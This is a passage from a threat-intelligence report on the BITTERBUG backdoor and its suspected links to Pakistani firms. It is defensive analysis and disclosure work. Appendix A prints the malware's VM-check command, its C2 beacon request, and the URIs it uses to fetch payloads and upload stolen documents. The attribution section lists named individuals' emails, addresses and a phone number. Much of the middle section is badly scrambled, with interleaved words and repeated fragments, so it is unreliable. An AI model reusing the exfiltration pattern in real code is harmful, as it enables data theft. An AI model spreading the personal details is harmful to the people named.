The TCIRT responded to Mr. Khan’s official explanation with a follow-up inquiry, offering Khan an opportunity to explain the notable
date inconsistency within the email screenshot.
The TCIRT also requested that Mr. Khan share the actual email message with the
original attached headers.
Mr. Khan did not address the TCIRT question, but rather deferred our request to Mr. Hamza Qamar,
a Penetration Testing Team Lead at Tranchulas.
On August 15, 2013, three days later, Qamar responded to TCIRT with a brief
denial12 of any modifications to the screenshot (other than email address anonymization) and specifically referred TCIRT back to
VPSNOC support (support@vpsnoc.com) for any follow up questions.
Astonished by this dismissal and deflection, TCIRT immediately began to explore the relationship between VPSNOC and Tranchulas.
VPSNOC/Digital Linx/Tranchulas
During our research into VPSNOC, we identified that it is actually based in, or conducts partial operations from within, Pakistan.
The company only gives the impression of operating from Kansas City through marketing and the use of leased IP space (Figure
4).
The Whois records for vpsnoc.com revealed that the domain was registered by Digital Linx Hosting.
Digital Linx is also a
Pakistan-based hosting company (Figure 5).
Figure 4: Screenshot of VPSnoc.com About us page
12	Digital Appendix 2: Raw Email Communications (Email#4 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up -
(Date- Thu, 15 Aug 2013 12-52-54 +0500).eml
4   •   OPERATION ARACHNOPHOBIA
Figure 5: Digital Linx (digitallinx.com)                             Figure 6: Screenshot of DigitalLinx.net
Website indicating its location                                                contact page
As seen in Figure 6, the administrative email address is admin@digitallinx.org.13 This is the same registrant record for the
digitallinx.net domain.14 The domains digitillinx.org, digitallinx.net, and digitallinx.com share current
and historical similarities in their WHOIS records and sitemap.xml files 15 16 that imply they are all controlled by the same individual
or entity.
The domain digitallinx.com is registered to Muhammad Naseer Bhatti (Digital Linx Founder)17 18 19 who uses email
addresses naseer@digitallinx.com and nbhatti@gmail.com.
The domain is also registered to the address 638-F Johar
Town, Lahore Pakistan.20
The contact telephone number listed on Digital Linx’ web site is 925-665-1427 (Figure 6), and is also used in the WHOIS record
for defiantmarketing.com21.
The domain defiantmarketing.com is registered to Abunasar Khan.
The registration lists VPSNOC as the registrant organization,
abunasar@yahoo.com as the registration email address, and House 12, Street 21, F-8/1 Islamabad Federal 44000 as the
registration address.
Abunasar Khan has been observed using the aliases “agnosticon” 22 and “agnostic”.
From this we were able to
locate an advertisement in the Blackhatworld forum from April 2012 posted by agnosticon promoting VPSNOC and identifying it as
a subdivision of Digital Linx Hosting (Figure 7).23 Though none of this information is surprising, it further suggests that both Bhatti and
Abunasar Khan work or worked for Digital Linx and VPSNOC and during that time were both located in Pakistan.24
13	       https://whois.domaintools.com/vpsnoc.com
14	       https://whois.domaintools.com/digitallinx.net
15	       http://webcache.googleusercontent.com/search?q=cache:CtCiQUGgUaoJ:www.digitallinx.net/sitemap.xml+&cd=1&hl=en&ct=clnk&gl=us
16	       http://digitallinx.net/Contact.html
17	       https://whois.domaintools.com/digitallinx.com
18	       http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815
19	       https://groups.google.com/forum/#!original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ
20	       https://github.com/digitallinx/vBilling/blob/master/CHANGELOG
21	       https://whois.domaintools.com/defiantmarketing.com
22	       http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html
23	       http://www.blackhatworld.com/blackhat-seo/hosting/430705-unmetered-vps-hosting-get-50-off-your-first-month-exclusive-coupons-bhw.html
24	       https://dazzlepod.com/rootkit/?page=284
5     •     OPERATION ARACHNOPHOBIA
Figure 7: Blackhatworld advertisement identifying VPSNOC as a Digital Linx subdivision25
Additional research into Abunasar Khan identified several registered domains and fragments of his online presence.
Based on his
websites and account information, he appears to have an interest or participated in the Antisec26 and Anonymous27 movements
(Figure 8).
He also used “anony mo us” in the registration name field of a personal account 28.
In addition, Abunasar Khan’s Google+ profile revealed connections to at least one Tranchulas employee, Hamza Qamar29 and a
Digital Linx employee, Shoaib Riaz.30 31Hamza Qamar, the Team Lead for Penetration Testing at Tranchulas, with whom TCIRT last
spoke.32 Visiting Hamza Qamar’s Google+ page (Figure 9), the only directly connected person was Abunasar Khan.
At this point, it
shows that a probable VPNSOC employee with ties or interests in hacking has an undefined but potentially close relationship with
Hamza Qamar, the Penetration Testing employee from Tranchulas.
Figure 8: Abunasar.net main page
25	       http://vpsnoc.com/order.png
26	       http://abunasar.net
27	       http://pastebin.com/rqVGqh1q
28	       https://dazzlepod.com/rootkit/?page=284
29	       https://plus.google.com/105774284158907153401/about
30	       https://plus.google.com/105059395104464629441/about
31	       http://lists.horde.org/archives/horde/Week-of-Mon-20061225/032545.html
32	       https://plus.google.com/103436628630566104748/posts
6     •     OPERATION ARACHNOPHOBIA
Figure 9: Qamar’s only connection out of 40+ followers
Qamar indicated on his public LinkedIn profile that he “engaged in system and enterprise level network and Web application
security testing for clients ranging from large federal agencies, DoD, and commercial clients”, though it is unclear which “DoD”
is referenced (e.g., whether the Pakistani Ministry of Defense or some other nation’s defense department).
Tranchulas identifies
government (presumably Pakistan’s government) as an operational sector for its work.
Tranchulas’ offensive cyber initiative
services are offered to “national-level cyber security programs” 33 34 indicating commercial demand from “national-level” customers.
Though Tranchulas35 brands itself as a multi-national company, with respective addresses within the United Kingdom36, the United
States37, and New Zealand38.
We found evidence that these addresses are all associated with either virtual office spaces or
address forwarding services.
For further background information on these personas, please see Appendix F: Personas.
The following is a summary of the relationships between the hosting organizations and Tranchulas:
•	 VPNSOC IP space was used as command and control nodes for attackers using variants of the BITTERBUG malware that
contained build strings that referenced “Tranchulas” and a Tranchulas employee.
•	 Tranchulas and VPNSOC were in direct communication at some point in July-August 2013.
•	 VPNSOC is a subsidiary of Digital Linx.
•	 Tranchulas, VPNSOC, Digital Linx were all physically located in Pakistan but maintained virtual presence within the U.S.
•	 Hamza Qamar was an employee of Tranchulas.
33	http://www.prnewswire.co.uk/news-releases/tranchulas-steps-into-the-global-cyber-strategy-market-with-launch-of-the-offensive-cyber-
initiative-oci-230411011.html
34	       Digital Appendix 3: Screenshot Archives (tranchulas.com/offensive-cyber-initiative-oci.png)
35	       Digital Appendix 3: Screenshot Archives (tranchulas.com/contact-us)
36	       http://www.londonpresence.com/contact-us/
37	       http://nextspace.us/nextspace-union-square-san-francisco/
38	       http://www.privatebox.co.nz/virtual-office/virtual-office-address.php
7     •    OPERATION ARACHNOPHOBIA
•	 Muhammad Naseer Bhatti was the self-proclaimed founder of Digital Linx.
•	 Abunasar Khan was affiliated with AntiSec and VPNSOC.
•	 Digital Linx founder Muhammad Naseer Bhatti had at least a working relationship with VPNSOC employee Abunasar Khan39 –
connected through domain registrations and a common Google+ profile for Shoaib Riaz (another Digital Linx employee).
•	 VPNSOC employee Abunasar Khan had a direct connection to Tranchulas employee Hamza Qamar through Google+.
Note: A walkthrough of our research is available in Appendices C, D and E.
Technical Observations
Metadata Analysis:
As mentioned earlier, during the email exchanged with Zubair Khan, he sent TCIRT a Microsoft Word document (.docx).
In
reviewing the document metadata for “Response_ThreatConnect.docx “, TCIRT identified that it contained the creator
properties of “hp.” TCIRT compared the metadata of two benign BITTERBUG-associated decoy documents from July 2013 and
found that both also had the author of “hp” (Figure 10).
Decoys associated with BITTERBUG                               Tranchulas Documents
Figure 10: Matching Document Author Metadata
39	       http://www.know-hosting.com/view/27108-digitallinx.html
8     •    OPERATION ARACHNOPHOBIA
While the author field of “hp” doesn’t conclusively prove a relationship, it contributes to the body of circumstantial evidence which
links properties of the official Tranchulas response to the properties of decoy documents that were used in conjunction with
BITTERBUG targeting campaigns.
Malware Analysis:
CyberSquared Inc. partnered with FireEye for a second technical review of the malware associated with this activity.
FireEye
analyzed the malware,   which
date.
The
they call
earliest
BITTERBUG,
samples
and determined
of
BITTERBUG
it to be
contain
the
“Tranchulas”
a custom   backdoor.
The backdoor
debug
path
relies on various
support components, including
(below),
the non-malicious,
as
mentioned
in
the
Apublically available
ugust
2013
Libcurl
TCIRT
for
blog
40
installation,
post.
These
Blaunch, and communications.
In
ITTERBUG
some variants,variants
BITTERBUG    were
hasptherobably
ability toused
in
attacks
automatically      targetaround
summer
and exfiltrate     2013,
files         using
possible
with extensions     such aslures
.doc, .xls, .pdf, .ppt,
date.
.egm, and .xml.
TheTfull
he
related
earliest
tmalware
o
samples
odf
eath
the
then-­‐recent
report is included   BITTERBUG
in o             cA:ontain
f
“Sarabjit
Appendix                 the
Singh”
Malware           “Tranchulas”
(an
Details.
debug
Indian
national
path
imprisoned
(below),
as
maentioned
in
Pakistan)
in
the
nd
an
Indian
August
2013
Government
TCIRT
m
pension
blog
post.
These
emorandum.
As
BsITTERBUG
tated
in
the
The earliest evidence of w
variants
original
the malware
ere
blog
(pand
rfamily
robably
udates
sed
aised
toafApril
in
tihe
n
2013,
ttacks
ormal
basedson
aTround
Portable
ummer
ranchulas
Executable
2013,
response),
sing
(PE)
sueveral
compile
possible
times, with more than
lures
binaries
10 BITTERBUG variants
related
contain
robserved
to
to date.
The
the
then-­‐recent
eferences
earliest
to
“Cath”
death
“samples
in
otf
he
debug
ofpSBITTERBUG
Sarabjit
ingh”
ath.
It
i(s
an
contain nthe
Indian
important
to
“Tranchulas”
ational
that
the
debug path (below),
note
imprisoned
as mentionedin
in    P akistan)
the August
“Cath”
aand
2013
files
re
aTCIRT
sn
Indian
Gpost.
overnment
blogcomponents
upport
pension
These BITTERBUG
and
m  emorandum.
variants         As
stated
werevprobably
not
BITTERBUG
so
it
inin
used
ariants,
pthe
s
attacks   around summer
robable
original
2013, using possible      blog
lures    w(ere
and
related
that
these
raised
in
tbhe
dtoeveloped
the then-recent    y
afnother
ormal
death of Tpranchulas
“Sarabjit         response),
arty
but
Singh”
are
a
(an Indianseveral
national
required
bimprisoned
inaries
component
in Pakistan) and an
of
the
contain
family.
Indian Government pensionreferences
memorandum.to
“Cath”
in
the
As stated       in thedebug
path.
original  blog   It
(and
is
important
raised in theto
formal
note
Tranchulas
that
the
response), several
“Cath”
binaries contain               files
toare
references         “Cath” support
in thecdebug
omponents
path.
It aisnd
not
BITTERBUG
important         to note that vthe      ariants,
“Cath”sfiles
o
it
are
is
psupport
robable
components and
that
t hese
w
notC:\Users\Tranchulas\Documents\Visual ere
d  eveloped
BITTERBUG variants, so it is probable that these were       b y
a nother
Studio  p arty
developed   b ut
by another party but are a requiredf
component
a re
a
r equired
2008\Projects\upload\Release\upload.pdb  c omponent
o  the
of
the family.
family.
C:\Users\Cath\documents\visual                               studio 2010\Projects\ExtractPDF\Release\ExtractPDF.pdb
C:\Users\Cath\documents\visual
studio 2010\Projects\Start\Release\Start.pdb
C:\Users\Tranchulas\Documents\Visual
Studio 2008\Projects\upload\Release\upload.pdb
C:\Users\Cath\documents\visual        studiow2010\Projects\ExtractPDF\Release\ExtractPDF.pdb
Additional
BITTERBUG
variants
ere
compiled
in
June
and
July
2013
that
contained
C:\Users\Cath\documents\visual studio 2010\Projects\Start\Release\Start.pdb
different
identifiers
in
the
debug
paths:
“Cert-India”
(3
samples)
and
“umairaziz27”
(1
sample).41
The
presence
of
“umairaziz27”
in
a
debug
path
Additional BITTERBUG
Additional
from
one
variants       sBample
ITTERBUG
were                mcompiled       akes
variants
us
w                  inonder
June           and
were
if
ctJuly      r2013
ompiled
his
that
epresents
contained
in
June
and
an
Jdifferent
uly
2013
operational
identifiers
stecurity
in the debug paths:
hat
contained
“Cert-India”     different
mistake.
(3 samples)                                               iT   dentifiers
he
and          debug
“umairaziz27”                  in
path
the
odf
ebug
“umairaziz27”
(1 p  aths:
“Cert-India”
sample).
41
led
us
to
ofT(“umairaziz27”
The presence                              3
samples)
witter              42
and
aLnd
in a debug
inkedIn           43
path from one
sample makes“umairaziz27”
us wonder(ifon
accounts
thiswrepresents               hich
(1
saample).
matching
an operational                  41
Tahe
lias
presence
isecurity
s
used)
mistake.
“umairaziz27”
otf
hat
The debug
belong
to
a
path
Tranchulas
in
of a“umairaziz27”
debug
path
led us to Twitter42
employee
and LinkedIn43from
accounts
named
one
U(on      smair
ample
which            Aziz,
ma akes
who
uis
matching                                                     walias
dentified
onder
is used) hif
imself
this
thatrepresents
belong
as
an
Ito          a aTranchulas
n
operational
nformation
employee
Security
security
Anamed
nalystUmair    44
and
Aziz, who
mistake.
identified himself      graduate
as an Information                            The
of
Ndational
ebug
Security       path
University
oAnalyst  f
“umairaziz27”
44oand
f
Sciences
graduateaof          lnd
ed
Tuechnology
National s
to
TUniversity
witter
(of    45  42
and
NUST).
SciencesLinkedIn
46
Oand     43
f
these
45 (NUST).46
ne
oTechnology
accounts
One of these samples    samples
was           (won
as
probably       wphich
robably
used  a
matching
uinsed
attacks                 in
attacks
lias
in late     is
summer
uin
sed)
late
t2013,
hat
summer
belong
using2013,
ato
a
uTsing
“leaked       ranchulas
report”             lureemployee
a
“leaked
report”
which             contained a decoy
named
lure
w
document related to Pakistan’s alleged inability to locate Osama Bin Laden.
U
hich
mair
c               A
ontained
ziz,
w              ho
a
i
d    dentified
ecoy
d          h    imself
ocument
r  a s
a
elated
n
I nformation
t  o
P akistan’s
S ecurity
a     lleged
A i  nalyst
nability
44t
ao
nd
graduate
locate
Osama
of
National
Bin
Laden.
University
of
Sciences
and
Technology45
(NUST).46
One
of
these
samples
w             as
p         robably
used
in
attacks
in
late
summer
2013,
using
a
“leaked
report”
lure
which
contained
a
decoy
document
C:\Users\Cert-India\Documents\Visual                                                                                                                                                                                                                                                      related
2008\Projects\ufile\Release\ufile.pdb
Studio                  to
Pakistan’s
alleged
inability
to
locate
Osama
Bin
Laden.
C:\Users\umairaziz27\Documents\Visual                                                                                                                                                                                                                                                      Studio 2008\Projects\usb\Release\usb.pdb
C:\Users\Cert-India\Documents\Visual
After publication       After
of thepTCIRT                                  ublication
blog and                              of
tour                 he
communications    TCIRT
blog
and
Studio
with     Tranchulas
our
2008\Projects\ufile\Release\ufile.pdb
communications
occurred in August            with
T2013,         ranchulas
no new samples of
C:\Users\umairaziz27\Documents\Visual Studio 2008\Projects\usb\Release\usb.pdb
BITTERBUG oroccurred
its supporticomponents                                                        n
August
2013,
(basednon                                        o
ncompile         ew
samples
times) were             identified untiloSeptember
of
BITTERBUG
r
its
support
(various          support components) and
components
October (a new
(based
BITTERBUG                                            on
compile
variant).
Interestingly,                              times)
were
theidentified
samples compiled           until
Sfollowing
eptember
the(blog     various
publication    support
used entirely new and generic
After
debug paths (Figure     components)
p
11)       ublication
as well a                                      asnd
aof
Otctober
compilation     he
TCIRT
(a
tactic  nbew
log
toBaconceal
nd
our
the
ITTERBUG
communications
C2variant).
address from                         with
analysis.
Interestingly,
static              Tranchulas
the
samples
Between              September and
occurred
compiled
i    n
f         A
ollowing
December, we observed more variations of BITTERBUG and its support components in terms of packaging, host-based
ugust
2        t  013,
he
b           n
log
o
n   p  ew
s amples
ublication
u  o f
sed
B ITTERBUG
e  ntirely
n   ew
o   r
a    i ts
nd
s g  upport
eneric
c
d    omponents
ebug
paths
activities,
(based
(Figure
on
11)
compile
as
well
times)
as
a
compilation
were
identified
tactic
until
September
to
conceal
the
C(2
various
address
support
from
static
components)
analysis.
Between
and
OSctober
eptember
(a
new
and
BDITTERBUG
ecember,
w              variant).
e
observed
Interestingly,
more
variations
the
samples
of
40	      http://curl.haxx.se/libcurl/
compiled
f
ollowing
t
he
b
log
p
ublication
used
entirely
new
and
generic
debug
paths
41	      Appendix A: Malware Details
(Figure
41
Appendix
11)
Aa:
s
Mwalware
ell
as
Daetails
compilation
tactic
to
conceal
the
C2
address
from
static
42	      https://twitter.com/umairaziz27
analysis.
42
https://twitter.com/umairaziz27                               Between
September
a
nd
December,
we
observed
more
variations
of
43	      http://pk.linkedin.com/in/umairaziz27
43
h
ttp://pk.linkedin.com/in/umairaziz27
44	      https://twitter.com/umairaziz27/status/332049978878996481
A
hppendix
A:
Malware
Details
41     44                            ttps://twitter.com/umairaziz27/status/332049978878996481
45	www.nust.edu.pk
42     45
h
w                ww.nust.edu.pk
ttps://twitter.com/umairaziz27
46	      http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download%20Section/Graduate%20Profile%20SEECS%20%20BICSE.pdf
43     46                     ttp://pk.linkedin.com/in/umairaziz27
hhttp://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download%20Section/Graduate%20Pro
44     file%20SEECS%20%20BICSE.pdf
https://twitter.com/umairaziz27/status/332049978878996481
45
www.nust.edu.pk
46http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download%20Section/Graduate%20Pro
12
9              •             OPERATION    ARACHNOPHOBIA
file%20SEECS%20%20BICSE.pdf
BITTERBUG
and
its
support
components
in
terms
of
packaging,
host-­‐based
activities,
and
decoys
(or
the
lack
of
them)
compared
to
the
samples
before
our
blog
and decoys (or thepost.
lack T
ofhis
them)  could
comparedindicate
to the  that
samplesthe
threat
before aour
ctors
blogwpost.
ere
aThisware
could of
indicate
the
blog
that post
and
actors were aware
the threat
modified
t    heir
m alware
a nd
r elated
c omponents
t o
of the blog post and modified their malware and related components to distance them from prior indicators.
d istance
t    hem
f rom
p rior
indicators.
C:\Intel\Logs\file.pdb
Figure
11:
Generic
Debug
Path
Figure 11: Generic Debug Path
Between
December
2013
and
late
March
2014,
we
observed
several
new
lures
used
in
BITTERBUG
self-­‐extracting
RAR
(SFXRAR)
files.
One
from
December
contained
Between December 2013 and late March 2014, we observed several new lures used in BITTERBUG self-extracting RAR (SFXRAR)
several
BITTERBUG
variants
and
used
a
decoy
PDF
document
(Figure
12)
related
to
files.
One from December        contained
the
December
several
arrest
of
BITTERBUG        variants and used
Devyani
Khobragade,              47
an
aIndian
decoy PDF          document
diplomat
(Figure
in
the
12) related to the
United
December arrest States.
of DevyaniIn
spring
2014,
we
observed
a
SFXRAR
file
with
a
filename
lure
related
to
athe
Khobragade,       47
an Indian   diplomat      in   the United      States.
In   spring       2014,      we       observed       SFXRAR file
with a filename lure    related
March
to thedisappearance
2014
March 2014 disappearance
of
Malaysia
of A
Malaysia
irlines
Airlines
Flight
Flight
370 370 48           (cast
(cast
48
as
aas
Paakistan-­‐
Pakistan-related hijacking).
related
This SFXRAR contained           hijacking).
the   latest BITTERBUG This
SFXRAR
variant, c   ontained
which     had new  the
dependencies
latest
BITTERBUG
on support    variant,
components.
which
Interestingly,
had
this
new
d ependencies
o n
s upport
c omponents.
I nterestingly,
SFXRAR’s filename was the only lure element related to the MH370 event; it did not contain a decoy document.
We provide a   t his
S FXRAR’s
f ilename
was
more detailed report     onthe
thisoSFX
nly
land
ure
the
element
related rvariant
elated
intAppendix
o
the
MH370
A: Malwareevent;
it
did
not
contain
a
decoy
Details.
document.
We
provide
a
more
detailed
report
on
this
SFX
and
the
related
variant
in
Appendix
A:
Malware
Details.
Figure 12: Screenshot of Indian diplomat arrest decoy PDF
47
http://world.time.com/2013/12/18/us-to-review-devyani-khobragade-arrest-and-strip-search/
48http://www.businessinsider.com/mh370-investigators-find-evidence-of-a-mysterious-power-
outage-during-the-early-part-of-its-flight-2014-6
BITTERBUG continued to rely on the same network behaviors to communicate with its C2s.
Connections to its C2 nodes relied on
PHP and used communications that included “.php?compname=” and “.php?srs=”, as well as direct file/component retrieval
13
also
from the C2s.
Though many of the samples that we have observed use direct IPs for HTTP communications, we have
observed more limited use of a No-IP domain.
47	         http://world.time.com/2013/12/18/us-to-review-devyani-khobragade-arrest-and-strip-search/
48	         http://www.businessinsider.com/mh370-investigators-find-evidence-of-a-mysterious-power-outage-during-the-early-part-of-its-flight-2014-6
10      •      OPERATION ARACHNOPHOBIA
Conclusion
Operation Arachnophobia consists of an apparent targeted exploitation campaign, dating back to early 2013, using the
BITTERBUG malware family and seemingly directed against entities involved in India-Pakistan issues.
The threat actor appears to
have exclusively used VPSNOC, a probable Pakistan-based VPS service provider who leased U.S. hosting services, for both the
delivery and C2 phases of attack.
Research later identified that a Pakistan-based VPSNOC representative had a social network
affiliation with a Tranchulas employee as well as apparent affiliations with the Anonymous and AntiSec movements.
After the August 6, 2013 blog, Tranchulas provided TCIRT and the media an official statement and explanation of BITTERBUG
activity, however, this explanation contained discrepancies.
The TCIRT addressed some of these discrepancies with Tranchulas
personnel, who were unresponsive, increasing our suspicion of the activity.
We later observed BITTERBUG activity following
August 2013 with subtle changes that further generalized debug paths.
It was this chain of events that served as a catalyst for
extra scrutiny of the activity and collaboration between the ThreatConnect and FireEye Labs teams to share information.
While we are not conclusively attributing BITTERBUG activity to Tranchulas or a specific Pakistani entity, we can confidently point
to many characteristics of a Pakistan-based cyber exploitation effort that is probably directed against Indian targets or those who
are involved in India-Pakistan issues.
Many of the notable characteristics of the BITTERBUG activity suggest that this is indeed
part of a Pakistan-based cyber exploitation effort that has apparently attempted to obfuscate its malware characteristics and
origins (behind U.S. infrastructure), before and after public disclosure in August 2013.
On the surface, BITTERBUG serves as an example of how threat actors mask their operations across social, cultural and
geographic boundaries.
More importantly, it demonstrates the value of threat intelligence sharing and industry collaboration.
As
one organization begins to pull at a thread of evidence and share their findings with another, a larger understanding and shared
perspective is revealed.
It is through this process that a shared awareness emerges into a larger, more comprehensive story that
explains what we are seeing and why - ultimately it is this story that better serves us all.
11   •   OPERATION ARACHNOPHOBIA
APPENDIX
APPENDIX A: Malware Details
BITTERBUG
BITTERBUG is a backdoor executable capable of uploading and downloading files, listing running processes, generating file listings,
and automatically transferring selected files to its command and control (C2) server.
BITTERBUG appears to be virtual machine aware
and may not execute on a VMWare or VirtualBox VM.
We have observed BITTERBUG installed by a self-extracting RAR archive
disguised as a screensaver.
Upon execution, the self-extracting RAR archive may extract configuration files, dependency DLLs, and
the BITTERBUG executable.
The timeline below is of BITTERBUG activity from May 2013 through March 2014.
Timeline of BITTERBUG characteristics vs. ThreatConnect events
12   •   OPERATION ARACHNOPHOBIA
Details
Upon execution the self-extracting RAR may install <BITTERBUG>.exe and the following DLLs:
•	 libcurld.dll – Used for downloading and uploading files
•	 msvcm90d.dll – C runtime library
•	 msvcp90d.dll – C runtime library
•	 msvcr90d.dll – C runtime library
The self-extracting RAR may install the following benign configuration files:
•	 Microsoft.VC90.DebugCRT.manifest – Compilation artifact
•	 BtcirEt.DZU – Self-extracting RAR configuration file
•	 SJeXSrA.KNX – Self-extracting RAR configuration file
•	 VCAKSQl.TNT – Self-extracting RAR configuration file
BITTERBUG first may execute the following Windows Management Instrumentation (WMI) command to detect the presence of a
virtual machine (VM):
•	 cmd.exe /c wmic diskdrive list brief >
“%APPDATA%\Microsoft\recovery.txt”
BITTERBUG then may open recovery.txt and check for the presence of strings VBox or VMware.
The backdoor then may
enter an infinite sleep loop if recovery.txt contains either one of the aforementioned strings (Example in Figure 13).
Figure 13: Example recovery.txt file from VMware virtual machine
Next BITTERBUG typically will beacon to the C2 server by sending the computer name and username of the compromised
system.
An example beacon request is shown in Figure 14.
POST /path_active.php?compname=<%COMPUTERNAME%>_<%USERNAME%> HTTP/1.1
Host: <c2_location>
Accept: */*
Content-Length: 25
Content-Type: application/x-www-form-urlencoded
<%COMPUTERNAME%>_<%USERNAME%>
Figure 14: Initial C2 beacon
13   •    OPERATION ARACHNOPHOBIA
BITTERBUG then may perform an HTTP GET request for the following URI:
http://<c2_location>/checkpkg.php?compname=<%COMPUTERNAME%>_<%USERNAME%>
If the C2 server responds with a filename, the filename received is deleted from %APPDATA%\Microsoft<FILE_NAME_FROM_
C2>.
The purpose of this command might be to delete older versions of BITTERBUG, although we have not observed this
command occurring in the wild.
BITTERBUG then may attempt to download the files listed in Table 1.
The purpose of the first three files is unknown.
The final two
files are downloaded to the user’s Startup directory and executed at startup in order to maintain persistence.
Request URI                                                    Download Path
http://<c2_location>/versionchk.php?srs=436712384                            %APPDATA%\Microsoft\file.exe
http://<c2_location>/vtris.php?srs=436712384                         %APPDATA%\Microsoft\percf001.dat
http://<c2_location>/vtris1.php?srs=436712384                         %APPDATA%\Microsoft\percf002.dat
http://<c2_location>/is_array_max.php?compname=                         %USERPROFILE%\Start Menu\Programs\
<%COMPUTERNAME%>_<%USERNAME%>                                                Startup\wincheck.exe
http://<c2_location>/is_array_pal.php?compname=                      %USERPROFILE%\Start Menu\Programs\
<%COMPUTERNAME%>_<%USERNAME%>                                                 Startup\winsquirt.exe
Table 1: Files downloaded by the backdoor
Next, BITTERBUG may scan through each drive letter and search recursively for files with the following file extensions: .doc,
.ppt, .xls, .pdf, .docx, .pptx, .pps, .xlsx
BITTERBUG then typically creates a file list containing all documents (excluding those whose filename contains MediaUtils) to
the following locations:
•	 %APPDATA%\Microsoft\plang006.txt
•	 %APPDATA%\Microsoft\tlang006.txt
BITTERBUG may also write a list of all running processes to:
•	 %APPDATA%\Microsoft\prc.dat
Finally, BITTERBUG typically uploads the running process list, document file list, and all documents to the following URI:
•	 http://<c2_location>/fetch_updates_flex.php?compname=<%COMPUTERNAME%>_<%USERNAME%>
Host-Based Signatures
File System Residue
BITTERBUG may be extracted along with the following embedded files:
•	 %USERPROFILE%\5rv3fgk6\<BITTERBUG>.exe
•	 %USERPROFILE%\5rv3fgk6\libcurld.dll
•	 %USERPROFILE%\5rv3fgk6\msvcm90d.dll
•	 %USERPROFILE%\5rv3fgk6\msvcp90d.dll
•	 %USERPROFILE%\5rv3fgk6\msvcr90d.dll
•	 %USERPROFILE%\5rv3fgk6\Microsoft.VC90.DebugCRT.manifest
14   •     OPERATION ARACHNOPHOBIA
•	 %USERPROFILE%\5rv3fgk6\SJeXSrA.KNX
•	 %USERPROFILE%\5rv3fgk6\BtcirEt.DZU
•	 %USERPROFILE%\5rv3fgk6\VCAKSQl.TNT
The malware may create the following files:
•	 %APPDATA%\Microsoft\recovery.txt
•	 %APPDATA%\Microsoft\plang006.txt
•	 %APPDATA%\Microsoft\tlang006.txt
•	 %APPDATA%\Microsoft\prc.dat
•	 %APPDATA%\Microsoft\file.exe
•	 %APPDATA%\Microsoft\percf001.dat
•	 %APPDATA%\Microsoft\percf002.dat
•	 %USERPROFILE%\Start Menu\Programs\Startupwincheck.exe
•	 %USERPROFILE%\Start Menu\Programs\Startup\winsquirt.exe
Network-Based Signatures
•	 The malware typically communicates on TCP port 80:
•	 The malware may perform HTTP requests for the following URIs:
•	 http://<c2_location>/checkpkg.php?compname=<%COMPUTERNAME%>_<%USERNAME%>
•	 http://<c2_location>/is_array_max.php?compname=<%COMPUTERNAME%>_<%USERNAME%>
•	 http://<c2_location>/is_array_pal.php?compname=<%COMPUTERNAME%>_<%USERNAME%>
•	 http://<c2_location>/path_active.php?compname=<%COMPUTERNAME%>_<%USERNAME%>
•	 http://<c2_location>/fetch_updates_flex.php?compname=<%COMPUTERNAME%>_<%USERNAME%>
•	 http://<c2_location>/versionchk.php?srs=436712384
•	 http://<c2_location>/vtris.php?srs=436712384
•	 http://<c2_location>/vtris1.php?srs=436712384
File Manipulations
We observed other interesting operational security-oriented challenges in the post-blog post samples.
In one case, an actor
appeared to manually null out the “Cert-India” user directory in one of the file paths (see figures 15 and 16 below) contained in
two binaries (support components).
These files shared the same import hash (4e96e86db5a8a025b996aefdc218ff74) and were
virtually the same files minus modification to a few bytes in the second sample.
Figure 15: Original file content for 7588ff900e32145cbcbc77837237aef8
15   •    OPERATION ARACHNOPHOBIA
Figure 16: Nulled file path for 26616e6662b390ebdb588cdaaae5e4f6
As these samples point to, we also observed use of the C++ Boost libraries, which introduced a new file path to monitor for
operational security purposes.
We observed at least one case in which files mixed old and new file paths, as seen in the figures 17
and 18 below.
Figures
17
and
18:
Screenshots
from
two
locations
in
Figures 17 and 18: Screenshots from                6e8c4d2d5d4e5e7853a1842b04a6bfdf
two locations in 6e8c4d2d5d4e5e7853a1842b04a6bfdf
In
both
cases,
it
is
possible
that
the
actors
intentionally
did
this
in
an
attempt
to
In both cases, it is possible   that the
mislead
actors intentionally
further
research
edid        this iin
fforts
an pattempt
nto
to mislead
ost-­‐blog
samples
further   research
or
cast
efforts o
suspicion
inton
“post-
Cert-­‐
India”
on
blog samples or cast suspicion       as
“Cert-India”
a
more-­‐revealing
element.
Felement.
as a more-revealing             or
example,
analysis
For example,           of
files
analysis            deployed
of files   deployed alongside
alongside
the nulled-out “Cert-India”                 the
nulled-­‐out
sample mentioned                           “Cert-­‐India”
above revealed          a lack of sample
concern      mover
entioned
above
the same     string.
revealed
Alternatively,a
lack
these of
concern
o  ver
t he
s ame
inconsistencies could also indicate sloppy tradecraft and/or teamwork.
s tring.
A lternatively,
t hese
i nconsistencies
c ould
a lso
i ndicate
sloppy
tradecraft
and/or
teamwork.
C:\Users\Cert-
India\Documents\boost_1_53_0\boost/thread/win32/thread_primitives.hpp
16      •     OPERATION ARACHNOPHOBIA
APPENDIX B: MD5 Hashes and Malware Table
BITTERBUG Hashes
MD5                                  File Size (bytes)                Compile Time
be7de2f0cf48294400c714c9e28ecdd1                         158720                  2013-05-08T10:58:22Z
fd3a713ebf60150b99fb09de09997a24                         158208                  2013-05-10T19:18:54Z
03f528e752dee57b1ff050a72d30de60                         158208                  2013-05-23T17:21:19Z
801c8bac8aea4d0226e47551c808a331                         169984                  2013-06-14T13:53:13Z
a21f2cb65a3467925c1615794cce7581                         172032                  2013-06-25T13:04:04Z
35663e66d02e889d35aa5608c61795eb                         171520                  2013-07-09T10:16:00Z
328adb01fb4450989ee192107a765792                         173056                  2013-08-01T17:28:54Z
8878162cf508266f6be1326da20171df                         267776                  2013-10-24T09:28:23Z
5ccb43583858c1c6f41464ee21a192ba                         225792                  2013-12-06T10:02:36Z
44abc22162c50fcc8dc8618241e3cd1a                         169472                  2013-12-26T09:19:40Z
6e8c4d2d5d4e5e7853a1842b04a6bfdf                         480256                  2013-12-30T13:11:23Z
828d4a66487d25b413cb19ef8ee7c783                         171520                  2014-03-17T08:16:25Z
BITTERBUG and Support Component Debug Strings (in order of first use)
Compile Time            Debug Paths
